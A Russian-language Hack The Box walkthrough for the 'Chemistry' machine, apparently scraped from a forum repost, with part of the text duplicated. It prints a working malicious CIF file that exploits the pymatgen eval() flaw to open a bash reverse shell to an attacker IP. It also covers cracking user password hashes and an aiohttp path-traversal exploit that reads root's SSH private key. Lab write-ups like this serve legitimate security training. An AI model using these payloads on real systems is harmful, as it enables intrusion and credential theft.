stihl не предоставил(а) никакой дополнительной информации.
Сегодня эксплуатируем уязвимость произвольного выполнения кода в pymatgen — библиотеке Python, которая используется в материаловедении. Потом получим учетные данные с хоста на Linux и повысим привилегии через LFI в aiohttp.
Наша цель — получение прав суперпользователя на машине Chemistry с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — легкий.
10.10.11.38 chemistry.htb
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел два открытых порта:
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
К тому же на сайте доступен для скачивания пример такого файла.
Для просмотра ссылки Войдиили Зарегистрируйся
Первым делом попробуем загрузить файл любого другого формата. В этом случае сервер выдаст ошибку. Видимо, это связано с тем, что файл CIF как‑то проверяется. А это значит, что веб‑приложение загружает и обрабатывает его.
Для просмотра ссылки Войдиили Зарегистрируйся
Формат редкий, а значит, вряд ли есть много библиотек, которые работают с ним. Скорее всего, нужно смотреть в сторону либ на Python, поскольку на нем написан встреченный нами веб‑сервер Werkzeug. Я поискал в Google подходящие уязвимости.
Для просмотра ссылки Войдиили Зарегистрируйся
Первая же Для просмотра ссылки Войдиили Зарегистрируйся сообщает нам о баге в пакете pymatgen, который используется для обработки CIF на Python.
Для просмотра ссылки Войдиили Зарегистрируйся
Метод JonesFaithfulTransformation.from_transformation_str() для обработки данных использует очень опасную функцию eval(), которая позволяет выполнять код на Python. Но из‑за плохой проверки данных, переданных в функцию, есть возможность выполнить свой произвольный код, что приводит к RCE на сервере.
Для просмотра ссылки Войдиили Зарегистрируйся
Воспользуемся этим PoC и отправим файл, но нагрузку заменим вот таким реверс‑шеллом:
Для просмотра ссылки Войди или Зарегистрируйся
В таблице на сайте найдем свой файл. Теперь запустим листенер (pwncat-cs -lp 4321) и через кнопку View выполним нагрузку из загруженного CIF.
Для просмотра ссылки Войдиили Зарегистрируйся
Мы получили сессию пользователя, от имени которого работает веб‑приложение.
Для просмотра ссылки Войдиили Зарегистрируйся
В папке /home/app/instance находим файл базы данных database.db. Инструмент pwncat-cs позволяет нам его легко скачать. Комбинацией клавиш Ctrl-D выходим в основное меню pwncat-cs, затем командой download скачиваем нужный файл и, введя команду back, возвращаемся в сессию на удаленном хосте.
Для просмотра ссылки Войдиили Зарегистрируйся
Файл баз данных я просматриваю через DB Browser. Из таблицы user получаем много логинов и хешей паролей.
Для просмотра ссылки Войдиили Зарегистрируйся
Попробуем найти прообразы хешей. Первым делом скопируем и вставим все хеши в форму на сайте Для просмотра ссылки Войдиили Зарегистрируйся. Так получаем пароли пользователей rosa, carlos, peter и victoria.
Для просмотра ссылки Войдиили Зарегистрируйся
Из четырех скомпрометированных пользователей учетная запись в ОС есть только у rosa. Это можно узнать из файла /etc/passwd.
Для просмотра ссылки Войдиили Зарегистрируйся
Меняем пользователя, от имени которого мы работаем, командой su и получаем новую сессию и первый пользовательский флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, но меня заинтересовали только открытые для локального хоста порты.
Для просмотра ссылки Войдиили Зарегистрируйся
На порте 8080, скорее всего, работает какое‑то веб‑приложение, но оно доступно только с адреса 127.0.0.1, поэтому для доступа к сайту нужно туннелировать соединение, например с помощью SSH.
В результате весь трафик, который мы пошлем на локальный порт 8090, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через хост SSH.
Теперь можно посмотреть сайт через браузер.
Для просмотра ссылки Войдиили Зарегистрируйся
Как показывает Для просмотра ссылки Войдиили Зарегистрируйся, в качестве веб‑сервера используется aiohttp 3.9.1.
Для просмотра ссылки Войдиили Зарегистрируйся
Ищем известные уязвимости и готовые эксплоиты для этого сервера и находим уязвимость Для просмотра ссылки Войдиили Зарегистрируйся и сразу же Для просмотра ссылки Войди или Зарегистрируйся для нее.
Для просмотра ссылки Войдиили Зарегистрируйся
При использовании aiohttp в качестве веб‑сервера и настройке статических маршрутов необходимо указать корневой путь для статических файлов. Кроме того, можно использовать параметр follow_symlinks, чтобы определить, следует ли серверу переходить по символическим ссылкам за пределами статического корневого каталога. Если для параметра follow_symlinks установлено значение True, проверка того, находится ли файл в корневом каталоге, не выполняется. Это приводит к уязвимости — можно выйти за пределы каталога и получить доступ к произвольным файлам в системе, даже если символические ссылки отсутствуют.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся».
В эксплоите, помимо адреса и пути к файлу, который необходимо прочитать, нужно указать и путь к статически определенному каталогу. Чтобы узнать, что это за каталог, можно проверить исходный код страницы.
Для просмотра ссылки Войдиили Зарегистрируйся
Попробуем в качестве статически заданного каталога использовать /assets для получения содержимого файла /etc/passwd.
python3 exploit.py -u Для просмотра ссылки Войдиили Зарегистрируйся -f /etc/passwd -d /assets
Для просмотра ссылки Войдиили Зарегистрируйся
Уязвимость подтверждена, а значит, мы можем прочитать любой файл в системе. Проверим, есть ли у рута приватный ключ SSH.
Для просмотра ссылки Войдиили Зарегистрируйся
С приватным ключом подключаемся к SSH и забираем последний флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Chemistry с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.38 chemistry.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Для просмотра ссылки Войди
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 5000 — веб‑сервер Werkzeug.
Для просмотра ссылки Войди
Точка входа
Регистрируем новую учетную запись, логинимся и видим форму загрузки файла CIF.Для просмотра ссылки Войди
К тому же на сайте доступен для скачивания пример такого файла.
Для просмотра ссылки Войди
Первым делом попробуем загрузить файл любого другого формата. В этом случае сервер выдаст ошибку. Видимо, это связано с тем, что файл CIF как‑то проверяется. А это значит, что веб‑приложение загружает и обрабатывает его.
Для просмотра ссылки Войди
Формат редкий, а значит, вряд ли есть много библиотек, которые работают с ним. Скорее всего, нужно смотреть в сторону либ на Python, поскольку на нем написан встреченный нами веб‑сервер Werkzeug. Я поискал в Google подходящие уязвимости.
Для просмотра ссылки Войди
Первая же Для просмотра ссылки Войди
Для просмотра ссылки Войди
Метод JonesFaithfulTransformation.from_transformation_str() для обработки данных использует очень опасную функцию eval(), которая позволяет выполнять код на Python. Но из‑за плохой проверки данных, переданных в функцию, есть возможность выполнить свой произвольный код, что приводит к RCE на сервере.
Точка опоры
В том же репозитории есть и содержимое файла vuln.cif — это PoC (подтверждение концепции) уязвимости.Для просмотра ссылки Войди
Воспользуемся этим PoC и отправим файл, но нагрузку заменим вот таким реверс‑шеллом:
Код:
/bin/bash -c 'sh -i >& /dev/tcp/10.10.16.86/4321 0>&1
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.16.86/4321 0>&1'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
В таблице на сайте найдем свой файл. Теперь запустим листенер (pwncat-cs -lp 4321) и через кнопку View выполним нагрузку из загруженного CIF.
Для просмотра ссылки Войди
Мы получили сессию пользователя, от имени которого работает веб‑приложение.
Продвижение
Для повышения привилегий нам нужно найти учетные данные. Так как на хосте работает веб‑приложение, оно, вероятно, использует базу данных, а значит, как‑то к ней подключается и в исходных кодах можно будет найти учетные данные от нее. Давай поищем пароли и секреты в каталоге приложения — /home/app.Для просмотра ссылки Войди
В папке /home/app/instance находим файл базы данных database.db. Инструмент pwncat-cs позволяет нам его легко скачать. Комбинацией клавиш Ctrl-D выходим в основное меню pwncat-cs, затем командой download скачиваем нужный файл и, введя команду back, возвращаемся в сессию на удаленном хосте.
Для просмотра ссылки Войди
Файл баз данных я просматриваю через DB Browser. Из таблицы user получаем много логинов и хешей паролей.
Для просмотра ссылки Войди
Попробуем найти прообразы хешей. Первым делом скопируем и вставим все хеши в форму на сайте Для просмотра ссылки Войди
Для просмотра ссылки Войди
Из четырех скомпрометированных пользователей учетная запись в ОС есть только у rosa. Это можно узнать из файла /etc/passwd.
cat /etc/passwd | grep bash
Для просмотра ссылки Войди
Меняем пользователя, от имени которого мы работаем, командой su и получаем новую сессию и первый пользовательский флаг.
Для просмотра ссылки Войди
Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, но меня заинтересовали только открытые для локального хоста порты.
Для просмотра ссылки Войди
На порте 8080, скорее всего, работает какое‑то веб‑приложение, но оно доступно только с адреса 127.0.0.1, поэтому для доступа к сайту нужно туннелировать соединение, например с помощью SSH.
ssh rosa@10.10.11.38 -L 8090:127.0.0.1:8080
В результате весь трафик, который мы пошлем на локальный порт 8090, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через хост SSH.
Теперь можно посмотреть сайт через браузер.
Для просмотра ссылки Войди
Как показывает Для просмотра ссылки Войди
Для просмотра ссылки Войди
Ищем известные уязвимости и готовые эксплоиты для этого сервера и находим уязвимость Для просмотра ссылки Войди
Для просмотра ссылки Войди
При использовании aiohttp в качестве веб‑сервера и настройке статических маршрутов необходимо указать корневой путь для статических файлов. Кроме того, можно использовать параметр follow_symlinks, чтобы определить, следует ли серверу переходить по символическим ссылкам за пределами статического корневого каталога. Если для параметра follow_symlinks установлено значение True, проверка того, находится ли файл в корневом каталоге, не выполняется. Это приводит к уязвимости — можно выйти за пределы каталога и получить доступ к произвольным файлам в системе, даже если символические ссылки отсутствуют.
Для просмотра ссылки Войди
info
Подробное объяснение техники path traversal ты можешь найти в статье «Для просмотра ссылки ВойдиВ эксплоите, помимо адреса и пути к файлу, который необходимо прочитать, нужно указать и путь к статически определенному каталогу. Чтобы узнать, что это за каталог, можно проверить исходный код страницы.
Для просмотра ссылки Войди
Попробуем в качестве статически заданного каталога использовать /assets для получения содержимого файла /etc/passwd.
python3 exploit.py -u Для просмотра ссылки Войди
Для просмотра ссылки Войди
Уязвимость подтверждена, а значит, мы можем прочитать любой файл в системе. Проверим, есть ли у рута приватный ключ SSH.
python3 exploit.py -u http://127.0.0.1:8090 -f /root/.ssh/id_rsa -d /assets
Для просмотра ссылки Войди
С приватным ключом подключаемся к SSH и забираем последний флаг.
ssh -i id_rsa root@chemistry.htb
Для просмотра ссылки Войди
Машина захвачена!